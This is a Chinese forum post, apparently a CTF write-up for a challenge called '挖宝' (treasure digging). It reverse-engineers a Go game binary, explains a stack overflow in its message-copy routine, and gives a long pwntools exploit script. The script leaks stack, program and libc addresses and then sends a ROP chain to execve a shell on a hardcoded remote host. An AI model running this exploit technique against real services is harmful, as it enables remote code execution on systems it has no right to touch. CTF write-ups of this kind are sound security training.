首页
论坛
课程
招聘
[原创]第八题 挖宝
2019-3-23 03:04 1669

[原创]第八题 挖宝

2019-3-23 03:04
1669

挖宝

程序分析

用ida打开该程序,初步分析发现程序是由go语音编写,使用开源工具golang_loader_assist对程序进行函数名识别,能够看到绝大多数程序的名称,主函数如下:

 

图片描述

 

Ida里面的go程序,可以看出每个函数的真实传参是从第7个开始,也就是64位下栈传参的位置,这样就能看出函数的真正传参过程。
通过分析和运行得知,该程序是一个游戏,在6*6大小的格子里面随意移动,有四个宝藏点,其中Treasure1、2、3三个是固定的,分别在(5,0)(5,5)(0,5),而Treasure4是随机的,在main_randtreasure里面进行了随机化,如下:

 

图片描述
且在程序游戏开始的时候,启动了一个main_joker线程,如下:
图片描述
Joker线程的作用是,每隔一秒检测一次,判断当前的位置是否接近了Treasure4(距离小于等于1步),如果是就再次随机化Treasure4的位置,如下:
图片描述
游戏每次到达一个Treasure的位置时,都能留下信息,游戏的过程就是上述逻辑。

漏洞点

当游戏到达Treasure点后,留消息时代码如下:

 

图片描述
其中main_memcpy的实现如下:
图片描述
拷贝是按照size来定的,而size的传入是有scan来决定的,所以如果scan输入的长度大于dst缓冲区时,就能够产生溢出。

利用方式

通过分析Treasure1、2、3、4,发现前三种都是在堆上,只有4是在栈上,如下:

 

图片描述

 

由于go语言里面的堆申请和释放比较麻烦,所以在此采用栈的利用方法,虽然程序开启了canary check,但是go代码里面并没有,因此可以直接使用,不需要泄露canary,此外程序要到达Treasure4才能触发栈溢出,前面分析过,虽然存在随机化的问题,但是检测时sleep1秒还是比较长,可以通过多次尝试来解决。
由于程序开启了地址随机化,因此需要泄露地址信息,观察栈可以看出来,地址指针在缓冲区的下方,如下:

 

在输入后,会将该指针里面的数据转换为string,如下:
图片描述

 

因此如果能够更改dst的指针,就能泄露信息,通过改写dst的低字节(1字节),可以泄露栈上数据,包括栈地址等,然后根据栈地址,实现任意栈上数据泄露,从而实现程序基址和libc基址,后续利用直接就是最基本的栈溢出即可,
具体见利用代码。

from pwn import *
def show_debug_info(flag = True):
    global show_info_sign

    if flag == True:
        #context.log_level = 'DEBUG'
        show_info_sign = True
    else:
        #context.log_level = 'info'
        show_info_sign = False

def d2v_x64(data):
    return u64(data[:8].ljust(8, '\x00'))

def d2v_x32(data):
    return u32(data[:4].ljust(4, '\x00'))

def expect_data(io_or_data, b_str = None, e_str = None):
    if type(io_or_data) != str:
        t_io = io_or_data

        if b_str != None and b_str != "":
            recvuntil(t_io, b_str)
        data = recvuntil(t_io, e_str)[:-len(e_str)]
    else:
        if b_str == None or b_str == "":
            b_pos = 0
        else:
            t_data = io_or_data
            b_pos = t_data.find(b_str)
            if b_pos == -1:
                return ""
            b_pos += len(b_str)

        if e_str == None or e_str == "":
            data = t_data[b_pos:]
        else:
            e_pos = t_data.find(e_str, b_pos)
            if e_pos == -1:
                return ""
            data = t_data[b_pos:e_pos]
    return data

import sys

def show_echo(data):
    global show_info_sign
    if show_info_sign:
        sys.stdout.write(data)

def recv(io, size):
    data = io.recv(size)
    show_echo(data)
    return data

def recvuntil(io, info):
    data = io.recvuntil(info)
    show_echo(data)
    return data

def send(io, data):
    io.send(data)
    show_echo(data)

def sendline(io, data):
    send(io, data + "\n")

def rd_wr_str(io, info, buff):
    #io.recvuntil(info, timeout = 2)
    #io.send(buff)
    data = recvuntil(io, info)
    send(io, buff)
    return data

def rd_wr_int(io, info, val):
    return rd_wr_str(io, info, str(val) + "\n")

def r_w(io, info, data):
    if type(data) == int:
        return rd_wr_int(io, info, data)
    else:
        return rd_wr_str(io, info, data)

def set_context():
    binary_elf = ELF(binary_path)
    context(arch = binary_elf.arch, os = 'linux', endian = binary_elf.endian)

import commands
def do_command(cmd_line):
    (status, output) = commands.getstatusoutput(cmd_line)
    return output

global_pid_int = -1
def gdb_attach(io, break_list = [], is_pie = False, code_base = 0, gdbscript = ""):
    if is_local:
        set_pid(io)
        if is_pie == True:
            if code_base == 0:
                set_pid(io)
                data = do_command("cat /proc/%d/maps"%global_pid_int)
                code_base = int(data.split("\n")[0].split("-")[0], 16)
        #gdbscript = ""
        for item in break_list:
            gdbscript += "b *0x%x\n"%(item + code_base)
        gdbscript += "c\n"

        gdb.attach(global_pid_int, gdbscript = gdbscript)

def set_pid(io):
    global global_pid_int
    if global_pid_int == -1:
        if is_local:
            """
            data = do_command("ps -aux | grep -E '%s$'"%(binary_path.replace("./", ""))).strip().split("\n")[-1]
            #print "-"*0x10
            #print repr(data)
            items = data.split(" ")[1:]
            global_pid_int = 0
            i = 0
            while len(items[i]) == 0:
                i += 1
            global_pid_int = int(items[i])
            #"""
            global_pid_int = pidof(io)[0]

def gdb_hint(io, info = ""):
    if info != "":
        print info
    if is_local:
        set_pid(io)
        raw_input("----attach pidof '%d', press enter to continue......----"%global_pid_int)

    if info != "":
        print "pass", info

def gdb_hint(io, info = ""):
    if info != "":
        print info
    if is_local:

        raw_input("----attach pidof '%d', press enter to continue......----"%pidof(io)[0])
    if info != "":
        print "pass", info

def get_io(target):
    if is_local:
        io = process(target, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path})
        #io = process(target, shell = True, display = True, aslr = None, env = {"LD_PRELOAD":libc_file_path})
    else:
        io = remote(target[0], target[1])
    return io

def r_w(io, info, data):
    if type(data) == int:
        rd_wr_int(io, info, data)
    else:
        rd_wr_str(io, info, data)

def m_c(io, choice, prompt = ">> "):
    r_w(io, prompt, choice)

def set_item(io, choice, prompt = ["?\n"]):
    r_w(io, prompt, choice)

def move_to(io, way, payload_list = [], signal = False, addr = 0, get_shell = False, addr_list = []):
    r_w(io, ")>>", way + "\n")
    data = recv(io, 16)
    #print data
    if "Congratulations" in data:
        data = recvuntil(io, "\n")

        if "Treasure 1" in data:
            r_w(io, ">>", payload_list[0])
            data = expect_data(io, "message: ", "\nYour")
        elif "Treasure 2" in data:
            r_w(io, ">>", payload_list[1])
            data = expect_data(io, "message: ", "\nYour")
        elif "Treasure 3" in data:
            r_w(io, ">>", payload_list[2])
            data = expect_data(io, "message: ", "\nYour")
        elif "Treasure 4" in data:
            #gdb_hint(io)
            r_w(io, ">>", payload_list[3])
            if get_shell == True:
                return True, data, 0, addr_list
            data = expect_data(io, "message: ", "\nYour")
            print repr(data)
            for i in range(len(data)/8):
                print i, hex(u64(data[i*8:i*8+8]))
                if len(addr_list) < 100:
                    addr_list.append(u64(data[i*8:i*8+8]))

            if addr == 0:
                addr = u64(data[0*8:0*8+8])
            #if signal == True:
            #    io.interactive()
            signal = True

    return signal, data, addr, addr_list

def move_to2(io, way):
    r_w(io, ")>>", way + "\n")
    data = recv(io, 16)
    #print data
    if "Congratulations" in data:
        data = recvuntil(io, "\n")

        if "Treasure 1" in data:
            r_w(io, ">>", "a\n")
            data = expect_data(io, "message: ", "\nYour")
        elif "Treasure 2" in data:
            r_w(io, ">>", "a\n")
            data = expect_data(io, "message: ", "\nYour")
        elif "Treasure 3" in data:
            r_w(io, ">>", "a\n")
            data = expect_data(io, "message: ", "\nYour")
        elif "Treasure 4" in data:
            #gdb_hint(io)
            r_w(io, ">>", "a\n")

def leak_addr(io, addr_pos):
    payload1 = "a"*0x1 + "\n"
    payload2 = "a"*0x1 + "\n"
    payload3 = "a"*0x1 + "\n"
    payload4 = "1"*0xc0 + p64(addr_pos) + "\n"

    payload_list = []
    payload_list.append(payload1)
    payload_list.append(payload2)
    payload_list.append(payload3)
    payload_list.append(payload4)

    show_debug_info(True)

    signal = False
    code_addr = 0
    addr_list = []

    for i in range(6):
        for j in range(5):
            signal, data, code_addr, addr_list = move_to(io, "d", payload_list, signal, code_addr, addr_list)
        signal, data, code_addr, addr_list = move_to(io, "w", payload_list, signal, code_addr, addr_list)

        for j in range(5):
            signal, data, code_addr, addr_list = move_to(io, "a", payload_list, signal, code_addr, addr_list)

        print addr_list
    for i in range(5):
        move_to2(io, "s")

    print addr_list
    return code_addr


def get_shell(io, payload):
    payload1 = "a"*0x1 + "\n"
    payload2 = "a"*0x1 + "\n"
    payload3 = "a"*0x1 + "\n"
    payload4 = "1"*0xc0 + payload + "\n"

    payload_list = []
    payload_list.append(payload1)
    payload_list.append(payload2)
    payload_list.append(payload3)
    payload_list.append(payload4)

    signal = False
    code_addr = 0

    while signal == False:
        addr_list = []
        for i in range(6):
            for j in range(5):
                signal, data, code_addr, addr_list = move_to(io, "d", payload_list, signal, code_addr, get_shell = True)
                if signal == True:
                    return

            signal, data, code_addr, addr_list = move_to(io, "w", payload_list, signal, code_addr, get_shell = True)
            if signal == True:
                return

            for j in range(5):
                signal, data, code_addr, addr_list = move_to(io, "a", payload_list, signal, code_addr, get_shell = True)
                if signal == True:
                    return
        for i in range(5):
                move_to2(io, "s")

def pwn(io, index_offset):

    #offset info
    if is_local:
        #local
        offset_system = 0x0
        offset_binsh = 0x0
    else:
        #remote    
        offset_system = 0x0
        offset_binsh = 0x0

    r_w(io, "name :\n", "hello\n")

    show_debug_info(False)

    payload1 = "a"*0x1 + "\n"
    payload2 = "a"*0x1 + "\n"
    payload3 = "a"*0x1 + "\n"
    payload4 = "1"*0xc0 + p64(00)[:1] + "\n"
    #payload4 = "1"*0xc0 + p64(0x9d00 + 0x200)[:2] + "\n"
    #payload4 = "1"*0xc0 + p64(0x9d00 + 0x200)[:2] + "\n"

    payload_list = []
    payload_list.append(payload1)
    payload_list.append(payload2)
    payload_list.append(payload3)
    payload_list.append(payload4)


    signal = False


    while signal == False:
        code_addr = 0
        addr_list = []
        for i in range(6):
            for j in range(5):
                signal, data, code_addr, addr_list = move_to(io, "d", payload_list, signal, code_addr, addr_list)
                #print addr_list
            signal, data, code_addr, addr_list = move_to(io, "w", payload_list, signal, code_addr, addr_list)
            #print addr_list
            for j in range(5):
                signal, data, code_addr, addr_list = move_to(io, "a", payload_list, signal, code_addr, addr_list)
            #print addr_list

        for i in range(5):
            move_to2(io, "s")

    stack_addr = addr_list[3]

    payload1 = "a"*0x1 + "\n"
    payload2 = "a"*0x1 + "\n"
    payload3 = "a"*0x1 + "\n"
    payload4 = "1"*0xc0 + p64(stack_addr) + "\n"
    #payload4 = "1"*0xc0 + p64(0x9d00 + 0x200)[:2] + "\n"
    #payload4 = "1"*0xc0 + p64(0x9d00 + 0x200)[:2] + "\n"

    payload_list = []
    payload_list.append(payload1)
    payload_list.append(payload2)
    payload_list.append(payload3)
    payload_list.append(payload4)

    signal = False
    while signal == False:
        code_addr = 0
        addr_list = []
        for i in range(6):
            for j in range(5):
                signal, data, code_addr, addr_list = move_to(io, "d", payload_list, signal, code_addr, addr_list)
                #print addr_list
            signal, data, code_addr, addr_list = move_to(io, "w", payload_list, signal, code_addr, addr_list)
            #print addr_list
            for j in range(5):
                signal, data, code_addr, addr_list = move_to(io, "a", payload_list, signal, code_addr, addr_list)
            #print addr_list
        for i in range(5):
            move_to2(io, "s")

    code_base = 0
    addr_offset = [0x3f26b0, 0x417b40, 0x40e6b0, 0x40e9a0, 0x121ec0, 0x408880, 0x417ac0]

    print addr_list
    for val in addr_list:
        code_addr = 0
        if val > 0x550000000000 and val < 0x570000000000:

            print "in"
            for i in range(len(addr_offset)):
                code_base = (val - addr_offset[i])&0xffffffffffffffff
                print i, "code_base:", hex(code_base)
                if (code_base & 0xfff) == 0:
                    code_addr = val
                    break
        if code_addr != 0:
            break
    print "code_addr:", hex(code_addr)
    print "code_base:", hex(code_base)
    #raw_input(":")
    if code_addr > 0x550000000000 and code_addr < 0x570000000000:
        pass
    else:
        return 0



    if (code_base & 0xfff) != 0:
        print hex(code_base)
        #gdb_hint(io)
        return

    #gdb_hint(io)

    malloc_ptr = 0x474F90 + code_base
    __GI___libc_malloc_addr = leak_addr(io, malloc_ptr)
    print "__GI___libc_malloc_addr:", hex(__GI___libc_malloc_addr)

    if __GI___libc_malloc_addr == 0:
        return 0
    libc_base = __GI___libc_malloc_addr - 0x84130
    #remote
    libc_base = __GI___libc_malloc_addr - 0x97070

    print "libc_base:", hex(libc_base)
    #raw_input(":")

    #raw_input(":")

    p_rdi_ret = 0x000000000010a4dd + code_base # : pop rdi ; ret
    p_rsi_ret = 0x000000000011422e + code_base # : pop rsi ; ret
    p_rdx_ret = 0x0000000000171b62 + code_base # : pop rdx ; ret

    system_addr = libc_base + 0x45390
    binsh_addr = libc_base + 0x18cd57
    execve_addr = libc_base + 0xcc770

    #remote
    system_addr = libc_base + 0x4f440
    binsh_addr = libc_base + 0x1b3e9a
    execve_addr = libc_base + 0xe4e30


    payload = ""
    payload += p64(code_base + 0x499200)
    payload += p64(0x30)
    payload += "a"*0x50
    payload += p64(p_rdi_ret)
    payload += p64(binsh_addr)
    payload += p64(p_rsi_ret)
    payload += p64(0)
    payload += p64(p_rdx_ret)
    payload += p64(0)
    payload += p64(execve_addr)
    payload += 'b'*0x10
    payload += 'c'*0x10

    show_debug_info(True)
    #gdb_hint(io)
    get_shell(io, payload)
    sendline(io, "cat flag")
    io.interactive()
    exit(0)
    #gdb_attach(io, [0xD83A0], True)

is_local = True
is_local = False

binary_path = "./trepwn"

libc_file_path = ""
#libc_file_path = "./libc.so"

ip, port = "", 0
items = "211.159.175.39 8787".split(" ")
#items = "127.0.0.1 1234".split(" ")

ip = items[0]
port = int(items[1])

show_info_sign = True

if is_local:
    # ['CRITICAL', 'DEBUG', 'ERROR', 'INFO', 'NOTSET', 'WARN', 'WARNING']
    show_debug_info(True)
    target = binary_path
else:
    show_debug_info(False)
    target = (ip, port)

while True:
    try:
        io = get_io(target)
        if pwn(io, 0) == 0:
            io.close()
            continue
        else:
            io.close()
    except Exception, e:
        #raise
        io.close()

图片描述


第五届安全开发者峰会(SDC 2021)议题征集正式开启!

收藏
点赞0
打赏
分享
最新回复 (1)
雪    币: 2543
活跃值: 活跃值 (19)
能力值: ( LV12,RANK:277 )
在线值:
发帖
回帖
粉丝
梅零落 活跃值 1 2019-3-25 13:58
2
0
这exp好强悍
游客
登录 | 注册 方可回帖
返回